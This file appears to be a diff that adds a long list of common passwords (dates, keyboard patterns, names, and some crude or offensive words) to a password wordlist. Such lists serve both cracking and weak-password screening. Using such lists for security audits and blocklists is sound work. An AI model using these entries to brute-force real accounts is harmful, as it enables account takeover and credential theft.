+16051968
+16051960
+160497
+160470
+160394
+160375
+160370
+16032001
+16021999
+160171
+16012001
+159357123
+1590753
+157359
+1560
+1559
+1554
+1552
+1546
+1539
+1525
+1513
+151263
+15122000
+1512198
+15121967
+15121960
+151172
+151170
+15111968
+15111965
+151096
+151095
+15101959
+150996
+150968
+15091964
+15081967
+15081960
+150778
+150775
+15071963
+15061999
+15061997
+15061973
+15061970
+15061964
+15061960
+15061953
+15058
+15051960
+15051959
+150497
+15041998
+15041960
+15041954
+150395
+150394
+150374
+150372
+150369
+150367
+15031962
+150296
+150294
+15021998
+15021959
+15021957
+150176
+150170
+15011969
+15011967
+15011959
+1481
+147258369a
+1459
+144444
+143000
+141592
+141294
+141293
+14121962
+14111965
+14111963
+141111
+141095
+141076
+14101410
+140968
+14091998
+14091968
+140875
+140872
+140864
+140863
+140857
+14081962
+14081960
+14081958
+14081957
+14081408
+14071974
+14071960
+140675
+140673
+140670
+14062000
+14061966
+14061960
+140572
+14051998
+14051968
+14051962
+140473
+140472
+140467
+140465
+14041999
+140370
+14032001
+14031966
+14031962
+14028
+140270
+14021964
+140198
+140171
+140166
+14011964
+137955
+136913
+136666
+1361
+1359
+1358
+1356
+1350
+1349
+1346798520
+13467985
+13467982
+134134
+13261326
+132546
+13201320
+131282
+131276
+13122001
+13121967
+13111968
+131097
+131073
+13101968
+13101965
+13101310
+130994
+130971
+13091998
+13091965
+130869
+13082000
+13081968
+13081967
+13081961
+13061998
+13061997
+130595
+130565
+13051957
+130494
+13041999
+13041997
+13041967
+13041962
+130374
+130364
+13031998
+130294
+130276
+13021968
+13021962
+130172
+13011959
+12play
+12inches
+1297
+12891289
+12758698
+125wm
+1258963
+125690
+12569
+1249
+12456
+1241
+123xyi2
+123vika
+123test
+123qweasdzx
+123qwe12
+123qwe1
+123boots1
+123a456
+123888
+123699
+1236951
+123592
+1234qw1234qw
+123456Aa
+1234567f
+12345678i
+1234567890qwerty
+1234567890qaz
+1234567890p
+1234567890o
+1234567890987654321
+1234556
+12334
+123321456654
+123124
+123103
+122863
+122345
+122333444455555
+12222
+121ebay
+121989
+121984
+121978
+121961
+121458
+121412
+121297
+12120
+121177
+121174
+121171
+121168
+121121121
+12111998
+12111968
+121111
+121097
+121060
+12101965
+12101959
+120898
+12081968
+120799
+120761
+12072001
+12071968
+12071966
+120670
+120669
+120666
+12062001
+120576
+120563
+12048
+120469
+120466
+120361
+12031963
+12031959
+12021958
+120168
+12011999
+12011969
+12011963
+12011955
+119966
+11881188
+118200
+117711
+1146
+1142
+1139
+11311131
+113096
+111993
+111988
+11198
+11142
+111260
+111222333444555
+11121998
+11119999
+111196
+11118
+11114444
+11111967
+11111966
+11111962
+111115
+111114
+111096
+111064
+11101965
+11101961
+110994
+110974
+11091967
+110898
+11081954
+110793
+11071957
+110668
+11061954
+110573
+110570
+11057
+110564
+110561
+11051957
+110496
+110470
+110466
+11041999
+11041966
+110374
+11032000
+11031959
+110273
+110262
+110259
+11021963
+110202
+110174
+11011965
+11011958
+1098
+1097
+1096
+1076
+1072
+106106
+105105
+10501050
+1039
+1036
+1035
+1034
+103190
+10304
+102775
+102398
+102375
+102030q
+101996
+101987
+101979
+10151015
+10131013
+101268
+101265
+101202
+10111997
+101062
+1010321
+10101959
+10101957
+10101955
+101
+100973
+100869
+100867
+100865
+10081971
+10078
+100767
+100698
+100694
+100693
+100663
+10062000
+100594
+100591
+100569
+100555
+10051999
+100471
+100469
+100461
+100395
+100390
+100372
+10031966
+10031963
+100276
+10021999
+10021966
+10021962
+10021957
+10020
+100162
+10011965
+10011964
+0987654321a
+0977
+0924
+0921
+091985
+091298
+091270
+091263
+09120912
+091198
+091193
+091181
+091173
+091171
+091076
+090976
+090968
+090963
+09091965
+090874
+090869
+090778
+090774
+09071967
+09071964
+090594
+090565
+09051968
+09051963
+090495
+090463
+09041969
+09041963
+090394
+090391
+090379
+090375
+090372
+09031967
+090273
+090272
+090266
+09021962
+090188
+090187
+0901
+0886
+0872
+0824
+081294
+081274
+081259
+081255
+081186
+081180
+081179
+08111998
+08111963
+08111960
+081085
+081076
+08101966
+08101961
+08091997
+08091962
+08091960
+080893
+080874
+080870
+080869
+08082000
+080790
+080773
+08071999
+08071998
+08071969
+08071964
+080699
+080691
+080690
+080676
+08061969
+08061962
+080595
+080593
+080494
+080482
+08041997
+08041973
+080384
+08031997
+08031960
+08031959
+08031953
+08021961
+080190
+08011960
+08011959
+072777
+0726
+071294
+071293
+071291
+071278
+071276
+07121960
+071173
+071172
+07111999
+07111961
+07111959
+07111917
+071079
+071071
+07101998
+07101963
+07101958
+070970
+07092000
+07091963
+070898
+070876
+070875
+070869
+07081999
+07078
+070774
+07071965
+07071960
+070695
+070693
+070680
+070677
+07062001
+07061969
+070574
+07051965
+0705
+070478
+070388
+070378
+070372
+07031960
+070295
+070287
+070271
+07021966
+07021962
+07021960
+07021956
+070194
+070180
+070176
+070173
+07012000
+07011999
+07011960
+0688
+0661
+0613
+061274
+06121966
+061193
+061190
+061176
+061171
+06111968
+061090
+06101959
+060992
+060971
+06091955
+060864
+06081965
+06081963
+060768
+06071955
+060592
+060577
+06051967
+06051955
+060494
+060396
+060377
+060370
+06031960
+060271
+060269
+060266
+06021969
+06021962
+060182
+06011996
+0585
+0565
+0526
+05121966
+05121964
+051166
+05111959
+051094
+051079
+051076
+05101964
+050982
+05091963
+050895
+050874
+050873
+05071999
+05071962
+05062002
+05061997
+05061958
+05052005
+05051969
+05051966
+050492
+05041999
+05041960
+050381
+050372
+050365
+05031967
+050305
+050288
+05022000
+05021961
+05021957
+050195
+050185
+050181
+050173
+05011961
+0477
+0466
+041957
+041294
+04121962
+041174
+041170
+04111996
+04111956
+041075
+041067
+04101975
+04101965
+04101960
+04091963
+040895
+040876
+04081969
+04081963
+04081958
+04081955
+040793
+040772
+04072001
+04071960
+040698
+04061972
+04061966
+040593
+040564
+04052008
+04051957
+040497
+040462
+040461
+040460
+04042007
+04041968
+04041966
+040396
+040376
+040375
+040371
+04032009
+04031965
+04031962
+040283
+04022009
+04021962
+04021960
+04012001
+04012000
+04011995
+04011964
+04011961
+0393
+0387
+0377
+032678
+031279
+031278
+03121961
+031193
+031186
+031185
+03111998
+031095
+031073
+031072
+03101998
+030993
+030992
+030989
+030967
+03091998
+03091961
+030863
+030775
+030770
+03071956
+030670
+030668
+03062000
+03061961
+030609
+030576
+03052005
+03051962
+030497
+030494
+03041963
+03038
+03031961
+030293
+030292
+030276
+03021964
+03021962
+030194
+030183
+030176
+030171
+03011999
+0292
+0256
+02121966
+02121961
+02121960
+02112000
+02111971
+021080
+021068
+02102001
+02092000
+02091960
+020891
+02081964
+02081962
+02081961
+020794
+020792
+02071956
+020673
+020670
+02061999
+020595
+020594
+020577
+020562
+02051965
+020494
+020396
+02031962
+02031959
+020299
+020296
+02021960
+02021956
+020181
+02011962
+02011959
+0186
+0185
+0182
+0164
+0144
+0143
+0130
+0127
+012369
+0123654789
+0116
+0114
+011295
+011272
+01121968
+01121960
+01121959
+01121957
+01120112
+011187
+011181
+01112011
+01111966
+01111964
+011079
+011073
+01101960
+010992
+010975
+01091957
+010876
+010797
+01071961
+010711
+010693
+01061969
+010593
+010571
+010556
+010487
+010457
+01042005
+01042004
+01041962
+01041954
+01031997
+01031968
+01031965
+010294
+010279
+010275
+010274
+010268
+01022006
+01022001
+010201
+010167
+0101198
+01011948
+007000
+002200
+000888
+000023
+000008
+zzz777
+zymurgy
+zxzx
+zxcvbnmzxcvbnm
+zxcvbnma
+zuzuzu
+zugang
+zrx1100
+zpflhjn1
+zorro123
+Zorro1
+zontik
+zola
+zkexifz
+zipdrive
+zipcode
+zion
+zimmer483
+zhipo
+zeynep
+zeuszeus
+zero000
+zcfvfzkexifz
+zaq12wsxcde3
+zapato
+zantac
+zafhjdf
+zacharia
+Z3Cn2eRV
+yyyy1
+youth
+youngman
+yoshio
+yoshiko
+yoshi1
+yorkshire
+yolande
+yokosuka
+yodaddy
+yjdbrjd
+yfnecz
+yfhrjnbrb
+yfeiybrb
+yfcntyrf
+yesican
+yelhsa
+ybrjkftdf
+ybrbnjcbr
+ybrbnbyf
+yardman
+yannis
+yanni
+yankees4
+yamoon6
+yamahar
+yamaha12
+Yamaha1
+yagodka
+yacht
+xzsawq
+xxxyyy
+xxxx1
+xwing1
+xtr451
+xsw2zaq1
+xoxo
+xjy6721
+xiomara
+xela
+xanth
+Wwwww1
+wutang1
+WUTANG
+wu9942
+wspanic
+wroclaw
+writing
+wrist
+wrinkle
+wrestling1
+wpass
+wowsers
+worldnet
+workwork
+wordz
+wooody
+Woody1
+wonderwa
+wonderla
+Wolves
+wolfone
+woking
+wlafiga
+wisteria
+wiseass
+Winter1
+winner69
+winder
+wilmar
+wilma1
+WILLOW
+william6
+WilDroid
+wildchil
+wiggy
+whore1
+whoosh
+wholesale
+whizzer
+whitetail
+whitecat
+White1
+whassup
+weymouth
+weyfvb
+wewiz
+wetsex
+wetlips
+wetdog
+WESLEY
+werken
+wendigo
+weetabix
+ween
+weeds
+webweb
+WebUIValidat
+webhead
+weave
+weasel1
+WEASEL
+wear
+wazoo
+waters1
+waster
+wasp
+WAS.HERE
+wasdwasd1
+warranty
+warhorse
+warhamer
+WaPBBs
+wantsex
+WANKER
+walstib
+wallstreet
+walker2
+wahooo
+wahine
+wachovia
+w74156900
+vtlbwbyf
+vthrehbq
+vsajyjr
+vova1992
+voshod
+voronov
+voorhees
+volvos60
+Volume
+volante
+void
+vladivostok
+vlad2000
+vkfwx046
+vjqvbh
+vitamine
+vitalogy
+vitalik1
+Virginia
+virgin1
+violett
+violentj
+viole
+vinicius
+vikings2
+VIKING
+vika1234
+vijaya
+vigor
+victor12
+vicious1
+vgfun2
+vfrfhjd
+vfkmxbr
+vfieyz
+vfhfnbr
+vfctxrf
+vesuvius
+vespucci
+verymuch
+vert
+vernost
+verner
+verne
+veritas1
+verboten
+veget
+vbhjh123
+vbhjckfd
+vaz21083
+vaz21074
+vatican
+varenik
+vardann
+vardan
+vannasx
+vangelis
+value
+valmet
+valid
+valeron
+valent
+valakas
+vaffanculo
+vaders
+vader123
+utmost
+uthfcbv
+usermane
+USA123
+urgent
+uptheass
+upland
+upinya
+unlucky
+unicron
+UNICORN
+undone
+undernet
+underhil
+unclebob
+UkqMwhj6
+uiuiui
+uhfdbwfgf
+ufufhby
+ufdhbr
+ubvyfcnbrf
+tzeentch
+tyrese
+typhon
+tybalt
+twotone
+twothree
+twoods
+twinturb
+twinks
+twenty2
+twats
+turntabl
+turga
+turbo911
+tulpan
+tuller
+tudor
+tubular
+tubgtn
+tubbie
+tu190022
+tsalagi
+tryout
+tryit
+truelies
+truc
+trrim777
+Trouble
+tropico
+tropicana
+trill
+trident1
+triathlo
+trever
+tremblay
+treker
+trek5200
+TREBOR
+trashed
+transcend
+trafalga
+trabant
+trabajo
+toybox
+towser
+totosha
+toshiro
+toshib
+tosca
+tory
+tortilla
+tort
+torrey
+Toronto
+torock
+toritori
+torito
+toreador
+topside
+topshelf
+tooting
+toonsex
+toolfan
+tony69
+tontos
+tonka1
+tomomi
+tommyy
+Tommy
+tomatoe
+tomasz
+todd12
+toby22
+tobasco
+toasters
+toadman
+toad24
+tnvols
+tnt123
+tlaloc
+tiziano
+Tits1
+titititi
+titian
+titan2
+tinroof
+tine
+tinchair
+timothy2
+timer
+time123
+tilley
+tileman
+tigger3
+tigertig
+tigers2
+tigerr
+tiger77
+tiger6
+tiger3
+tidwell
+tickled
+tiburon1
+thwack
+thvfrjdf
+thunderc
+thuglove
+thor99
+thommy
+thomasd
+thomas21
+thinline
+thing1
+thicker
+thibault
+Theresa
+thenet
+thedark
+thecure1
+thebus
+theband
+thaipron
+texastec
+Texas
+tetley
+terry123
+terrorist
+terris
+terrific
+terrell1
+terrano
+tense
+tenorsax
+tenn
+temujin
+templer
+telescop
+telegrap
+telefon1
+tehran
+tedesco
+teddybeer
+Teddy1
+tedd
+technica
+techman
+techdeck
+teamlosi
+teagan
+teacher2
+TDEir8b2
+tdavis
+tazman1
+taylor9
+taunton
+tatyo
+tatiana1
+tatarstan
+tash
+Tarzan
+targa
+tapestry
+taoist
+tanyshka
+tanita
+tanguy
+tangos
+tampa1
+tamera
+tallboy
+takeout
+tailhook
+tahira
+tagada
+tafkap
+tabby1
+systemofadown
+system12
+syste
+syoung
+syndicate
+syndicat
+sybase
+sword123
+swetik
+sweetu70
+svetochka
+svenska
+suzie1
+susie1
+susan69
+surfer69
+supratt
+supert
+supermom
+superme
+superman123
+superhero
+supafly
+sunshine69
+sunshine2
+sunse
+sunny2
+sunitha
+sungam
+sunburst
+sunburn
+sumter
+sumo
+summer22
+summer13
+summer03
+sultry
+sultana
+sugarman
+sueann
+suckmy1k
+suckem
+SUBROSA
+sturm
+stupid12
+stud69
+stthomas
+struppi
+strong1
+strip4me
+streeter
+stratcat
+storm7
+Storm1
+stork
+storey
+stopstop
+stopper
+stoppedb
+stockpor
+stjohns
+Stinger1
+stiefel
+stickers
+stickdaddy77
+stevie1
+steven2
+steve12
+stephi
+steamforums
+steamboat
+steam181
+stayrude
+StarWars
+stargat
+starbase
+star77
+star6767
+Star
+stang50
+Stallion
+stacker
+Stacey
+Ssssss1
+ssssss1
+sss123
+srikanth
+squidly
+squats
+squat
+squad51
+sputnik1
+sprunt
+spring12
+Spring
+spotligh
+sportage
+spook1
+spittle
+SPIRIT
+spinne
+spill
+spiff
+spieng
+spider10
+sperme
+speedster
+SpecialInsta
+Special
+spec
+spazzz
+spasm
+spartak1922
+spartacus
+sparrows
+sparky69
+spare
+sparda
+spandau
+spacejam
+spaceace
+souschef
+sou812
+sorpresa
+sophie01
+sookie
+sony1
+sonoio
+sonic593
+songline
+sone4ka
+something1
+sombrero
+somali
+soma
+soloy
+solid1
+soho
+softcore
+softball1
+sofi
+socool
+soccer01
+snuffles
+snow123
+snot
+snooch
+snitch
+sniff
+snarf
+snappy1
+snakebit
+Snake
+smutsmut
+smukke
+smokewee
+smitten
+smile4u
+smile2
+smd123
+slushy
+slevin
+sleepyhollow
+sleeps
+slayers1
+slavery
+slang
+slammin
+skytel
+skyman
+skylinegtr
+Skorpion
+skinnass
+sixflags
+sisyphus
+siskin
+singer1
+singapur
+sindhu
+simon12
+simens
+silverdo
+silverch
+silver77
+silence1
+sigge1
+sigchi
+sig229
+siena
+Siemens
+siding
+SiDDiS
+shwing
+shutout
+SHORTY
+short1
+shockwav
+shitty1
+shitman
+shit12
+shit1
+Shirley
+shire
+Sherwood
+sheppy
+sheer
+sheep1
+shazaam
+shavon
+shaunc
+shatner
+sharipov
+shaolin1
+shante
+shanta
+shandi
+shamal
+shaky
+shakers
+shadow9
+shadow88
+shadow14
+shadow00
+shabazz
+sexybeas
+sexy4me
+sexy22
+sexy101
+sexxybj
+sexstuff
+sexking
+sexiness
+sevenn
+Service1
+servic
+sergserg
+SERGIO
+sergey7
+serafima
+senorita
+seminar
+selur
+selrahc
+Select
+selassie
+sekirarr
+segundo
+segovia
+seemnemaailm
+secure1
+sebring1
+seasea
+scurlock
+scudder
+scubad
+scuba10
+screamin
+scrappy1
+scottb
+scott11
+scotlan
+Scorpio1
+scooby11
+schnell
+schloss
+schlange
+schedule
+schalke0
+scary
+scape
+scally
+Sb211st
+sayaka
+sawtooth
+sawadee
+saving
+savchenko
+satur
+satisfaction
+satcom
+satchel1
+Sataniv1993
+sassydog
+sassycat
+saskatoo
+sasha1998
+sasha11
+sascha1
+sarmat
+Saratoga
+sarahw
+saraht
+saraha
+sara123
+sapo
+sapfir
+saoirse
+santini
+santi
+santana5
+santaclaus
+santa234
+sanja
+sane4ek
+sandy12
+sandlot
+sanders2
+sanders1
+sanchin
+sana
+san123
+samo
+sammy7
+sammons
+sambuka
+sambora
+samatron
+samant
+salsas
+salsa1
+salom
+sallyann
+salle
+salgar
+salford
+salas
+sakina
+saki
+sahar
+sadomaso
+sacrific
+sachiko
+rynner
+ryan12
+rusty21
+Rusty
+rustik
+russell2
+RUSH2112
+rururu
+runners
+Runner
+run4fun
+rugby8
+rugby123
+rudyrudy
+rudie
+rubyrose
+rtyuio
+roza
+rousseau
+roselle
+roseline
+rosehill
+rosebudd
+rosarosa
+roofus
+ronson
+Ronnie
+rona
+romann
+roman12
+rolltide1
+roenick
+rodder
+rocky11
+rockwood
+rockhopper
+Rocket
+rockcity
+rocinant
+robot1
+robby1
+roast
+roamer
+roadrage
+roaches
+rmracing
+rmfidd
+rkelly
+rjkjrjkmxbr
+rjirf
+rjdfkmxer
+riordan
+ridered
+rideme
+rick69
+richey
+richard0
+RICARDO
+Ricardo
+ribs
+rhtyltkm
+rfnz123
+rfhfnt
+rfdrfp
+reyna
+reyes
+revel
+resort
+reset1
+rere
+renfield
+removed
+Remember
+rekmubyf
+reina
+reid
+regula
+REGISTER
+regina1
+reggio
+reggie31
+regency
+reeper
+redtop
+redsox19
+redryder
+rednose
+redhawks
+redhat50
+redddd
+redbul
+redball
+red666
+red333
+recluse
+recife
+recess
+rebel12
+rebeka
+readynow
+rdflhfn
+rcfhlfc
+razer
+rayner
+rayban
+ravinder
+rattrace
+ratmir
+rashley198
+Rapunzel
+rangersf
+ranger98
+randee
+ramse
+ramire
+ramir
+rami
+rambler1
+ralliart
+rajput
+rajkumar
+rajendra
+rajah
+rainmaker
+rainforest
+raff
+radium
+radist
+radio123
+radiant
+racket
+rachell
+racer2
+rabbit66
+R3Vi3Wpass
+qwertzuiop
+qwerty999
+qwerty8
+qwerty4
+qwerty09
+qwerty01
+qwertasdfgzxcvb
+qwertasd
+qweras
+qwer11
+qwe456
+qwe234
+qwe1234
+qwaszxerdfcv
+qwaszxedc
+qwaser
+quique
+quinten
+quintain
+quinta
+quietman
+questor
+quell
+queequeg
+quarters
+quacker
+qqqqwwww
+qpqpqp
+qewret
+QAZWSXEDC
+qazwsxc
+qazwsx12345
+qazwsx11
+qazsew
+q1w2e3r4t5y6u7i8o9p0
+q123q123
+pyro
+pyramid7
+pygmy
+putty
+puttputt
+puto
+PUSSY1
+purple11
+purge
+pureevil
+purdy
+punter12
+pumpk1n
+pumapuma
+puffy1
+puffdadd
+puertori
+pudding1
+puckhead
+publix
+prunes
+providian
+promo1
+prolong
+prolinea
+proghouse
+profits
+proekt
+prodojo
+process1
+privet123
+private5
+privado
+priss
+printers
+princesit
+prince2
+primas
+price1
+prevert
+prevail
+preppy
+preludes
+prank
+praline
+pqNR67W5
+PPPPPP
+poznan
+power666
+power12
+power01
+powe
+poutana
+potvin
+potsmoke
+potsdam
+potpie
+potapov
+posh
+porosenok
+porol777
+pornlover
+pornlove
+pornclub
+poppers
+popochka
+popeye1
+popart
+poopo
+poopie1
+pooped
+poop1
+poole
+pooky1
+POOHBEAR
+PONTIAC
+pongo1
+pondus
+polpolpol
+polo99
+polina2009
+polimer
+Police
+pol123456
+pokpok
+pokerman
+pokemon00
+poise
+pointblank
+point1
+poes
+podiatry
+PLUMBER
+plhy6hql
+plextsofttm
+playhouse
+player21
+playboy6
+Playboy
+PLATINUM
+platina
+plat1num
+plastik
+plasticp
+planter
+plant1
+pizarro
+pivkoo
+pitboss
+pissword
+piroca
+pippolo
+pippo1
+piper2
+pipeman
+piopio
+pinpon
+pinoyako
+pinkfl
+pimpjuic
+pimphard
+pimaou
+pilote
+piet
+pidoras
+pickens
+philou
+philip1
+phenmarr
+phase2
+phaedra
+pfunk
+pfhbyf
+petty43
+petticoa
+petshop
+petert
+peter7
+pete14
+perth
+percussion
+percussi
+perch
+peppino
+peppie
+pepepepe
+pentable
+pensacol
+penny2
+penguin8
+penfloor
+pencil1
+peludo
+pelepele
+peking
+pegas
+peewee51
+PEEWEE
+peck
+pecan
+peach1
+pauly
+pauljr
+paulinka
+Pauline
+paul11
+patti1
+patten
+patatina
+patat
+password22
+passwd1
+passw
+passsword
+passssap
+PASSPORT
+passpage
+passover
+passive
+passit
+passin
+passat99
+passa
+pass111
+pasion
+parvin
+part
+parsec
+parma
+parlay
+parks
+parkhead
+parcel
+parasha
+paramount
+paradoks
+Paradise
+papageno
+paolino
+PANZER
+pammy
+PaloAlt
+palladin
+palevo
+palace22
+paki
+painters
+painkill
+paigow
+padrino
+pabst
+pablo123
+pa55wd
+Pa437tu
+p1nkb178
+owns
+ow8jtcs8t
+oussama
+ousooner
+otisotis
+otherside
+othello1
+oslo
+osito
+orphan
+Orosie1
+Orlando
+orion123
+orange11
+opusone
+optimus1
+optics
+opinion
+Ophelia
+opening
+opaopa
+Ooooooo1
+oompah
+onward
+ontheoutside
+onetwo12
+onelov
+omni
+olson
+olliedog
+ollieb
+Olivia
+oliver99
+oligarh
+olesica
+oleg1996
+oleg1994
+oldskool
+oksanka
+ojp123456
+oi812
+ohotnik
+ohiost
+ogoshi
+oglala
+oDgez8J3
+obvious1
+o0o0o0
+nyyankees
+nytimes
+nymets1
+nutsac
+nusrat
+nurich
+nunzio
+number10
+numb
+ntktdbpjh1994
+nthvbyfnjh2
+nsync
+now0new
+novato
+nounour
+nottoday
+nottingham
+notgood
+nosredna
+nosorog
+nosmas
+norwalk
+northside
+normand
+norman1
+normal1
+nona
+nomore2
+nomi
+nokia6131
+nodnarb
+nitros
+nirvana9
+nine09
+nimajneb
+nikolay9
+nikolaevna
+nikkita
+nihaoma
+nicole18
+nicole01
+nicelegs
+ngentot
+nfyznfyz
+nfyz123
+nfhtkrf
+newyorke
+newpass3
+newblood
+nevins
+neverwinter
+neverman
+neurosis
+neumann
+network2
+Network
+netpass
+nepenthe
+nelly1
+neko
+ne_e_pod_chehyl
+nazi
+nazarov
+nazaret
+nazarenko
+naumova
+natron
+nathan22
+nataxa
+Natalie1
+NATALIE
+NATALI
+nastyanastya
+nasca
+nailed
+nahtan
+nahlik
+nagoya
+naenae
+nadya
+nacho1
+nabisco
+n0th1ng
+mythic
+myth
+myriad
+mylover
+mykitty
+myjdxtcxks
+mygal
+mustek
+Mustangs
+mushrooms
+murphydo
+mundell
+multiscan
+muffinman
+muffer
+mudhen
+mudbug
+muchacha
+msvcr71
+m_roesel
+mrmojo
+movies23
+moviebuf
+mouse2
+moumou
+motzart
+motto
+motoguzz
+motaro
+mostro
+moshe
+mortalkombat
+morrowin
+morphius
+morgue
+moparman
+mooose
+Moonstafa
+moonshot
+moondanc
+moo123
+montesa
+monteiro
+montee
+Montana1
+MONTANA
+MONSTER
+monoxide
+monkey4
+monitor2
+money77
+money21
+monarchs
+momoney1
+mommys
+molten
+mollusk
+molli
+moller
+moist
+mogul
+mogli
+mockba
+mmmnnn
+Mmmmm1
+miyuki
+Mistress
+mistral1
+misti
+mistered
+misia1
+mishmash
+misha123
+misfit99
+mironov
+minotavr
+minmin
+minina
+minim
+minicooper
+minfd
+mine11
+milner
+millan
+mildew
+milburn
+milaya
+mikey2
+mike31
+mike12345
+mihael
+miguelito
+midiland
+mickey99
+michal1
+michaelm
+michael12
+mice
+mibbes
+miasma
+mhl1974
+mexicali
+method7
+metal123
+mestre
+mervin
+mermaid1
+mendoz
+mendes
+menards
+MEMPHIS
+melly
+melany
+meister1
+megaton
+megan123
+megamega
+Megafon77
+meetoo
+meester
+meeko
+meditation
+medicus
+medical1
+medeiros
+meat1492
+measure
+me2you
+mdmgatew
+mccool24
+mccall
+mazdarx
+mazdamx5
+mayo
+maxsim
+maximus2
+maximize
+maxie1
+max1
+max
+mattylad10
+matthewj
+matthew6
+matsui
+matrix123
+Matrix1
+matic
+mathie
+matchbox20
+mastery
+mastert
+master66
+massive1
+massim
+maslova
+masked
+mascitti
+MARYJANE
+mary123
+mary12
+mary1
+martin01
+martijn
+martha1
+marston
+marsmars
+markers
+marist
+marisela
+mario12
+Mario
+marinus
+Marines1
+marijke
+marielle
+marie123
+Marie
+mariana1
+marial
+MARIA
+marcus2
+march15
+march11
+maratik
+marantz
+maraca
+mar123
+manzey20
+manteca
+mansfield
+manor
+manly
+manifold
+manassas
+Manager
+mamma1
+mami
+mama22
+mama1965
+mama1964
+mama1
+malutka
+mallards
+Malibu
+mala
+maks5843
+maks2010
+makenna
+makcim
+majic
+maintenance
+maint
+mainstre
+mail123
+mahogany
+mags
+MAGNUM
+magicone
+magic2
+maggie01
+mafia1
+maestr
+madrigal
+madinina
+maddog69
+maddawg
+madarchod
+macross7
+MacMac
+mackin
+machone
+macedonia
+macdog
+macbook
+mable
+ma123123123
+m7N56xO
+luv269
+lupe
+lukas1
+luis1
+ludvig
+lucy11
+lucious
+lucie
+lucidity
+lucciano
+lubimaya
+lozinka
+lovinit
+Lover
+lovepuss
+loveland
+lovelady
+lovelace
+lovehurt
+love55
+love4you
+love4eve
+love3
+love10
+louis123
+lostboys
+lore
+lopesk
+looping
+looking1
+longlong
+Longhorn
+longboard
+lompoc
+lommerse
+lollol12
+lolkin09
+lolki123
+loli
+lokit
+logout
+logitech1
+logging
+LockingServi
+lobzik
+lobolobo
+Lllllll1
+Llllll1
+lkjhgfdsazx
+liziko
+lizardki
+livid
+lively
+livelive
+littleminge
+littleguy
+littleb
+LITTLE
+lissalissa
+lise
+linette
+lincoln7
+LINCOLN
+lincol
+limbaugh
+lilone
+lilmike
+lillys
+liliane
+lilacs
+likeme
+Lights1
+lightbulb
+lifesux
+lifeis
+lickme2
+lickin
+lexlex
+letssee
+leto
+lester1
+lesli
+leshka
+leonov
+leones
+Leonard
+leon123
+lenchik
+lenard
+lena2011
+lena12
+legshow
+leghorn
+leggy
+Legend1
+legend1
+leftie
+leftee
+leedsuni
+leedsu
+lee
+ledger
+leandra
+leader1
+le33px
+lcrastes
+lbc999
+lazarev
+lawn
+lawler
+lavonne
+laura2
+laufen
+latte
+latrobe
+latisha
+latinus
+latinos
+latin1
+latham
+lately
+late
+latching
+LASVEGAS
+larousse
+lankford
+lanfear
+lances
+lampar
+lamina
+lamerz
+lamborgini
+lambo1
+lalala123
+laketaho
+lakers08
+lainth88
+ladle
+labour
+kzkmrf
+kyle123
+kyle1
+kyla
+kyjelly
+kvartira
+kurwa
+kuolema
+kungen
+kulikova
+kuken
+Kudos4Ever
+krystle
+krystal1
+krysta
+kryptonite
+Kristen1
+kreker
+Krauss
+kraft
+kpcofgs
+kovacs
+kosta1
+kornet
+koontz
+koolkid
+kook
+konfeta
+kondom25
+kolesnikov
+Kolding
+koketka
+kociak
+koblenz
+kobayash
+knopfler
+kneel
+kleiner
+klaipeda
+kkkddd
+kki177hk
+kite
+kisulya
+KissMyAss
+kissme1
+kissfan
+kirpich
+kirova
+kips
+kinsella
+kinkysex
+Kingston
+kingshit
+kingrat
+king13
+kimono
+killit
+killerman
+killerb
+killer6
+killer00
+killed
+killas
+kiddie
+kickin
+kickbox
+khongbiet
+kfgeirf
+kevinr
+kevinn
+kevinl
+kevinh
+kevinc
+keri
+kensington
+kenshin1
+kennyb
+Kenny1
+kennel
+kenned
+kenmore
+kemp
+kelton
+kelly12
+kelebek
+keksa2
+keiser
+keats
+kdkdkd
+kazuya
+kaylynn
+katyakatya
+katushka
+katiebug
+katie2
+kathi
+kasperok
+kasey1
+karuna
+karpova
+karolin
+karmann
+karavan
+kansas1
+kamelia2011
+kamel
+kallis
+kalleank
+kalender
+kalambur
+kakdela
+kaioken
+kacie
+kablam
+jZf7qF2E
+jyothi
+justonce
+Just4Fun
+juntas
+junior13
+june1503
+june1
+jumpup
+july22
+julietta
+juanch
+jscott
+josiew
+joshua0
+josepha
+joseph11
+jordan20
+jones2
+joliet
+joker777
+jojoba
+johny
+johnnn
+johnjr
+john10
+johansen
+joesph
+jobsearch
+JOANNE
+jnrhjqcz
+jkelly
+jjjjjj1
+jimb
+jiggas
+JGTxzbHR
+jetboy
+jesus33
+jessica3
+jessee
+jergens
+jeremi
+jenson
+jennyk
+jennyc
+jennjenn
+jennan
+JEFFREY
+jeffery1
+Jeff
+jeep99
+jeebus
+jed1054
+jdavis
+jc05595
+jblpro
+jazzed
+jazz1234
+jazman
+jaytee
+jawbone
+jawa350
+JAVIER
+jasmine9
+jasmine3
+jas4an
+jarret
+janus1
+janssen
+janets
+jan123
+jamjar
+jamesw
+jamesl
+jamesjames
+jamese
+james19
+jakeyboy
+jakes
+jahbless
+jaffa
+jadejade
+jaded
+jacuzzi
+jacopo
+jackoff1
+jacko1
+jackiech
+jackie69
+jack5225
+jabberwo
+ivan1996
+iubire
+istanbu
+isolde
+islamabad
+isidor
+isdead
+isaia
+irusik
+irongoat
+irondesk
+ironcity
+irnbru
+irisiris
+irishlad
+Ireland1
+iraffert
+invoice
+invite
+into
+instruct
+institut
+innova
+ingres
+infix
+inetcfg
+indonesi
+indien
+indianer
+indeep
+impossib
+implant
+imladris
+imelda
+imbored
+imani
+imaloser
+imagination
+iloveyou11
+ilovetits
+ilovetit
+ilovemyfamily
+ilkaev
+ilikeporn
+il2fw2
+ihateyou1
+igor1234
+ignaci
+icon
+icicle
+ichwill
+ichliebe
+icequeen
+ibpjahtybz
+iamthe1
+hunt0802
+hunnybun
+hunglow
+hunden
+huckle
+huck
+hubba
+htyfnf
+howlin
+howl
+howies
+howhigh
+howareyo
+Hover
+Houston1
+HOUSES
+houghton
+hotshot1
+hotrods
+hothothot
+hothead
+hotel1
+hotcat
+horosho
+HORNEY
+hornet1
+horndogg
+hoppie
+Hooters
+hooray
+honeydog
+honda450
+honda01
+homyak
+holly2
+Holly
+hollister1
+holio
+hold
+hokuto
+hogg
+hogfan
+hockey69
+hockey4
+hockey14
+hobnob
+hoangen
+hjvfy
+hitch
+hiroki
+hippies
+himura
+himalaya
+hilliard
+hijodeputa
+hijinx
+hijack
+highway1
+highspee
+highheels
+highest
+higgins1
+higashi
+hfpldfnhb
+hfpdjl
+hewson
+hesoyam123
+hershil
+heroine
+hermine
+heresy
+herbert0
+hepburn
+hemant
+HELPME
+helping
